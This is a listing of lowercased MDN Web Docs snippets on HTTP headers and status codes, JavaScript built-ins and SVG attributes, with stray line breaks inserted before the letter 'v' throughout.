violated.
Sec-Fetch-Mode - HTTP
header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-mode: cors sec-fetch-mode: na
vigate sec-fetch-mode: nested-na
vigate sec-fetch-mode: no-cors sec-fetch-mode: same-origin sec-fetch-mode: websocket values cors na
vigate nested-na
vigate no-cors same-origin websocket examples todo specifications specification title fetch metadata request headers the sec-fetch-mode http request header ...
SourceMap - HTTP
examples sourcemap: /path/to/file.js.map specifications specification title draft document source map re
vision 3 proposal ...
Timing-Allow-Origin - HTTP
the timing-allow-origin response header specifies origins that are allowed to see values of attributes retrieved
via features of the resource timing api, which would otherwise be reported as zero due to cross-origin restrictions.
Transfer-Encoding - HTTP
http/2 doesn't support http 1.1's chunked transfer encoding mechanism, as it pro
vides its own, more efficient, mechanisms for data streaming.
X-Forwarded-For - HTTP
examples x-forwarded-for: 2001:db8:85a3:8d3:1319:8a2e:370:7348 x-forwarded-for: 203.0.113.195 x-forwarded-for: 203.0.113.195, 70.41.3.18, 150.172.238.178 other non-standard forms: # used for some google ser
vices x-proxyuser-ip: 203.0.113.19 specifications not part of any current specification.
OPTIONS - HTTP
in this example, the server response says that: access-control-allow-origin the https://foo.example origin is permitted to request the bar.example/resources/post-here/ url
via the following: access-control-allow-methods post, get, and options are permitted methods for the url.
TRACE - HTTP
the http trace method performs a message loop-back test along the path to the target resource, pro
viding a useful debugging mechanism.
206 Partial Content - HTTP
if there is only one range, the content-type of the whole response is set to the type of the document, and a content-range is pro
vided.
304 Not Modified - HTTP
many developer tools' network panels of browsers create extraneous requests leading to 304 responses, so that access to the local cache is
visible to developers.
404 Not Found - HTTP
status 404 not found custom error pages many web sites customize the look of a 404 page to be more helpful to the user and pro
vide guidance on what to do next.
412 Precondition Failed - HTTP
for example, when editing mdn, the current wiki content is hashed and put into an etag in the response: etag: "33a64df551425fcc55e4d42a148795d9f25f89d4" when sa
ving changes to a wiki page (posting data), the post request will contain the if-match header containing the etag values to check freshness against.
426 Upgrade Required - HTTP
status 426 upgrade required examples http/1.1 426 upgrade required upgrade: http/2.0 connection: upgrade content-length: 53 content-type: text/plain this ser
vice requires use of the http/2.0 protocol specifications specification title rfc 7231, section 6.5.15: 426 upgrade required hypertext transfer protocol (http/1.1): semantics and content ...
451 Unavailable For Legal Reasons - HTTP
http/1.1 451 unavailable for legal reasons link: <https://spqr.example.org/legislatione>; rel="blocked-by" content-type: text/html <html> <head><title>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>this request may not be ser
viced in the roman pro
vince of judea due to the lex julia majestatis, which disallows access to resources hosted on servers deemed to be operated by the people's front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report legal obstacles ...
Unicode property escapes - JavaScript
note: as there are many properties and values available, we will not describe them exhaustively here but rather pro
vide various examples rationale before es2018 there was no performance-efficient way to match characters from different sets based on scripts (like macedonian, greek, georgian etc.) or propertyname (like emoji etc) in javascript.
Public class fields - JavaScript
class classwithstaticfield { static staticfield } console.assert(classwithstaticfield.hasownproperty('staticfield')) console.log(classwithstaticfield.staticfield) // expected output: "undefined" public static fields are not reinitialized on subclasses, but can be accessed
via the prototype chain.
ArrayBuffer() constructor - JavaScript
var dv = arraybuffer(10); // typeerror: calling a builtin arraybuffer constructor // without new is forbidden var dv = new arraybuffer(10); examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array
view referring to the buffer: var buffer = new arraybuffer(8); var
view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
Boolean - JavaScript
for example, the condition in the following if statement evaluates to true: var x = new boolean(false); if (x) { // this code is executed } this beha
vior does not apply to boolean primitives.
Date.prototype.getYear() - JavaScript
backward compatibility beha
vior in javascript 1.2 and earlier the getyear() method returns either a 2-digit or 4-digit year: for years between and including 1900 and 1999, the value returned by getyear() is the year minus 1900.
Date.prototype.toString() - JavaScript
"(" an implementation dependent string representation of the timezone, which might be an abbre
viation or full name (there is no standard for names or abbre
viations of timezones), e.g.
Error.prototype.stack - JavaScript
(note that the error object also possesses the filename, linenumber and columnnumber properties for retrie
ving these from the error thrown (but only the error, and not its trace).) note that this is the format used by firefox.
Error.prototype.message - JavaScript
by default, the message property is an empty string, but this beha
vior can be overridden for an instance by specifying a message as the first argument to the error constructor.
Error - JavaScript
etc } custom error types you might want to define your own error types deri
ving from error to be able to throw new myerror() and use instanceof myerror to check the kind of error in the exception handler.
EvalError - JavaScript
although ecma-262 specifies that evalerror should pro
vide its own message property, in spidermonkey, it inherits error.prototype.message.
FinalizationRegistry.prototype.unregister() - JavaScript
examples using unregister this example shows registering a target object using that same object as the unregister token, then later unregistering it
via unregister: class thingy { #cleanup = label => { // ^^^^^−−−−− held value console.error( `the \`release\` method was never called for the object with the label "${label}"` ); }; #registry = new finalizationregistry(this.#cleanup); /** * constructs a `thingy` instance.
Function.length - JavaScript
by contrast, arguments.length is local to a function and pro
vides the number of arguments actually passed to the function.
Function.prototype.toString() - JavaScript
tostring() method is called on built-in function objects or a function created by function.prototype.bind, tostring() returns a native function string which looks like "function () {\n [native code]\n}" if the tostring() method is called on a function created by the function constructor, tostring() returns the source code of a synthesized function declaration named "anonymous" using the pro
vided parameters and function body.
Intl.Collator.prototype.compare() - JavaScript
rreich', 'odenwald']; var collator = new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österreich, offenbach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('fr', { usage: 'search', sensiti
vity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification.
Intl.ListFormat - JavaScript
static methods intl.listformat.supportedlocalesof() returns an array containing those of the pro
vided locales that are supported without ha
ving to fall back to the runtime's default locale.
Intl.Locale.prototype.language - JavaScript
let langstr = new intl.locale("en-latn-us"); console.log(langstr.language); // prints "en" overriding language
via the configuration object while the language subtag must be specified, the locale constructor takes a configuration object, which can override the language subtag.
Intl.Locale.prototype.minimize() - JavaScript
description this method carries out the reverse of maximize(), remo
ving any language, script, or region subtags from the locale language identifier (essentially the contents of basename).
Intl.Locale.prototype.script - JavaScript
let scriptstr = new intl.locale("en-latn-us"); console.log(scriptstr.script); // prints "latn" setting the script
via the configuration object the locale constructor takes a configuration object, which can be used to set the script subtag and property.
Intl.Locale.prototype.toString() - JavaScript
the tostring method allows locale instances to be pro
vided as an argument to existing intl constructors, serialized in json, or any other context where an exact string representation is useful.
Intl.NumberFormat - JavaScript
static methods intl.numberformat.supportedlocalesof() returns an array containing those of the pro
vided locales that are supported without ha
ving to fall back to the runtime's default locale.
Intl.PluralRules - JavaScript
static methods intl.pluralrules.supportedlocalesof() returns an array containing those of the pro
vided locales that are supported without ha
ving to fall back to the runtime's default locale.
Intl.RelativeTimeFormat - JavaScript
static methods intl.relativetimeformat.supportedlocalesof() returns an array containing those of the pro
vided locales that are supported without ha
ving to fall back to the runtime's default locale.
Map.prototype.get() - JavaScript
if the value that is associated to the pro
vided key is an object, then you will get a reference to that object and any change made to that object will effectively modify it inside the map object.
Math.abs() - JavaScript
examples beha
vior of math.abs() passing an empty object, an array with more than one member, a non-numeric string or undefined/empty variable returns nan.
Math.hypot() - JavaScript
the math.hypot() function returns the square root of the sum of squares of its arguments, that is: math.hypot(v1,v2,…,vn)=∑i=1n
vi2=v12+v22+…+vn2\mathtt{\operatorname{math.hypot}(v_1, v_2, \dots, v_n)} = \sqrt{\sum_{i=1}^n v_i^2} = \sqrt{v_1^2 + v_2^2 + \dots + v_n^2} the source for this interactive example is stored in a github repository.
Object.prototype.toSource() - JavaScript
for example: var obj1 = {}; var obj2 = { a: obj1 }; obj1.b = obj2; console.log('cyclical: ' + (obj1.b.a == obj1)); var objsource = obj1.tosource(); // returns "({b:{a:{}}})" obj1 = eval(objsource); console.log('cyclical: ' + (obj1.b.a == obj1)); if a cyclical structure is employed and tosource() is needed, the object must pro
vide an override to tosource(), either using a reference to a constructor or pro
viding an anonymous function.
Object.prototype.toString() - JavaScript
const tostring = object.prototype.tostring; tostring.call(new date); // [object date] tostring.call(new string); // [object string] tostring.call(math); // [object math] // since javascript 1.8.5 tostring.call(undefined); // [object undefined] tostring.call(null); // [object null] using tostring() in this way is unreliable; objects can change the beha
vior of object.prototype.tostring() by defining a symbol.tostringtag property, leading to unexpected results.
Object.prototype.valueOf() - JavaScript
an object's valueof method is usually invoked by javascript, but you can invoke it yourself as follows: mynumbertype.valueof() note: objects in string contexts convert
via the tostring() method, which is different from string objects converting to string primitives using valueof.
Promise.any() - JavaScript
if no promises in the iterable fulfil (if all of the given promises are rejected), then the returned promise is rejected with an aggregateerror, a new subclass of error that groups together indi
vidual errors.
Promise.prototype.catch() - JavaScript
this means that you have to pro
vide an onrejected function even if you want to fall back to an undefined result value - for example obj.catch(() => {}).
handler.apply() - JavaScript
interceptions this trap can intercept these operations: proxy(...args) function.prototype.apply() and function.prototype.call() reflect.apply() invariants if the following invariants are
violated, the proxy will throw a typeerror.
handler.defineProperty() - JavaScript
interceptions this trap can intercept these operations: object.defineproperty() reflect.defineproperty() invariants if the following invariants are
violated, the proxy will throw a typeerror: a property cannot be added, if the target object is not extensible.
handler.deleteProperty() - JavaScript
interceptions this trap can intercept these operations: property deletion: delete proxy[foo] and delete proxy.foo reflect.deleteproperty() invariants if the following invariants are
violated, the proxy will throw a typeerror: a property cannot be deleted, if it exists as a non-configurable own property of the target object.
handler.getPrototypeOf() - JavaScript
description interceptions this trap can intercept these operations: object.getprototypeof() reflect.getprototypeof() __proto__ object.prototype.isprototypeof() instanceof invariants if the following invariants are
violated, the proxy will throw a typeerror: getprototypeof() method must return an object or null.
handler.setPrototypeOf() - JavaScript
interceptions this trap can intercept these operations: object.setprototypeof() reflect.setprototypeof() invariants if the following invariants are
violated, the proxy will throw a typeerror: if target is not extensible, the prototype parameter must be the same value as object.getprototypeof(target).
RangeError - JavaScript
although ecma-262 specifies that rangeerror should pro
vide its own message property, in spidermonkey, it inherits error.prototype.message.
ReferenceError - JavaScript
although ecma-262 specifies that referenceerror should pro
vide its own message property, in spidermonkey, it inherits error.prototype.message.
Reflect.getPrototypeOf() - JavaScript
ct.prototype reflect.getprototypeof({}) // object.prototype // both throw in es5 for non-objects object.getprototypeof('foo') // throws typeerror reflect.getprototypeof('foo') // throws typeerror // in es2015 only reflect throws, object coerces non-objects object.getprototypeof('foo') // string.prototype reflect.getprototypeof('foo') // throws typeerror // to mimic the object es2015 beha
vior you need to coerce reflect.getprototypeof(object('foo')) // string.prototype specifications specification ecmascript (ecma-262)the definition of 'reflect.getprototypeof' in that specification.
attributeName - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
attributeType - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of attributename is the name of a css property defined as animatable.
azimuth - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight azimuth="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default ...
bias - SVG: Scalable Vector Graphics
after applying the kernelmatrix of the <feconvolvematrix> element to the input image to yield a number and applied the di
visor attribute, the bias attribute is added to each component.
class - SVG: Scalable Vector Graphics
example <html> <body> <svg width="120" height="220"
viewport="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg"> <style type="text/css" > <![cdata[ rect.rectclass { stroke: #000066; fill: #00cc00; } circle.circleclass { stroke: #006600; fill:...
clipPathUnits - SVG: Scalable Vector Graphics
only one element is using this attribute: <clippath> html,body,svg { height:100% } <svg
viewbox="0 0 100 100"> <clippath id="myclip1" clippathunits="userspaceonuse"> <circle cx="50" cy="50" r="35" /> </clippath> <clippath id="myclip2" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".35" /> </clippath> <!-- some reference rect to materialized to clip path --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <!-- the first 3 rect are clipped with usespaceonuse units -...
diffuseConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fediffuselighting> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x="...
direction - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg
viewbox="0 0 600 72" xmlns="http://www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status comment css writ...
dur - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value spec...
exponent - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransfe...
filterUnits - SVG: Scalable Vector Graphics
eonuse | objectboundingbox default value objectboundingbox animatable yes userspaceonuse x, y, width and height represent values in the current coordinate system that results from taking the current user coordinate system in place at the time when the <filter> element is referenced (i.e., the user coordinate system for the element referencing the <filter> element
via a filter attribute).
flood-color - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="skyblue" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2...
flood-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="seagreen" flood-opacity="1" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" flood-opacity="0.3" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" wid...
font-size-adjust - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="600" height="80"
viewbox="0 0 500 80" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="times, serif" font-size="10px"> this text uses the times font (10px), which is hard to read in small sizes.
font-variant - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historic...
glyph-name - SVG: Scalable Vector Graphics
the glyph names can be used in situations where unicode character numbers do not pro
vide sufficient information to access the correct glyph, such as when there are multiple glyphs per unicode character.
intercept - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0"/> <fefuncg type="linear" interc...
k1 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0...
k2 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0...
k3 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0...
k4 - SVG: Scalable Vector Graphics
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x=...
kernelMatrix - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_onl...
keyPoints - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circle...
keySplines - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate attributename="cy" dur="4s" calcmode="spline" repeatcount=...
keyTimes - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg>...
lang - SVG: Scalable Vector Graphics
<svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
letter-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg
viewbox="0 0 400 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" letter-spacing="2">bigger letter-spacing</text> <text x="200" y="20" letter-spacing="-0.5">smaller letter-spacing</text> </svg> usage notes value normal | <length> default value normal animatable yes for a description of the values, please refer to the css letter-spacing property...
lighting-color - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg
viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselig...
limitingConeAngle - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg
viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="spotlight1" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffusecon...
marker-end - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle"
viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20"...
marker-mid - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="circle" markerwidth="8" markerheight="8" refx="4" refy="4"> <circle cx="4" cy="4" r="4" stroke="none" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-mid="url(#circle)"/> </svg> usage notes value none | <marker-ref> ...
marker-start - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle"
viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20"...
markerUnits - SVG: Scalable Vector Graphics
ewidth default value strokewidth animatable yes userspaceonuse this value specifies that the markerwidth and markerunits attributes and the contents of the <marker> element represent values in the current user coordinate system in place for the graphic object referencing the marker (i.e., the user coordinate system for the element referencing the <marker> element
via a marker, marker-start, marker-mid, or marker-end property).
mask - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg
viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" maskcontentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attri...
max - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifi...
media - SVG: Scalable Vector Graphics
only one element is using this attribute: <style> html, body, svg { height: 100%; } <svg
viewbox="0 0 240 220" xmlns="http://www.w3.org/2000/svg"> <style> rect { fill: black; } </style> <style media="all and (min-width: 600px)"> rect { fill: seagreen; } </style> <text y="15">resize the window to see the effect</text> <rect y="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list> this value holds a media query that needs to match in order for the style sheet to be applied.
min - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg
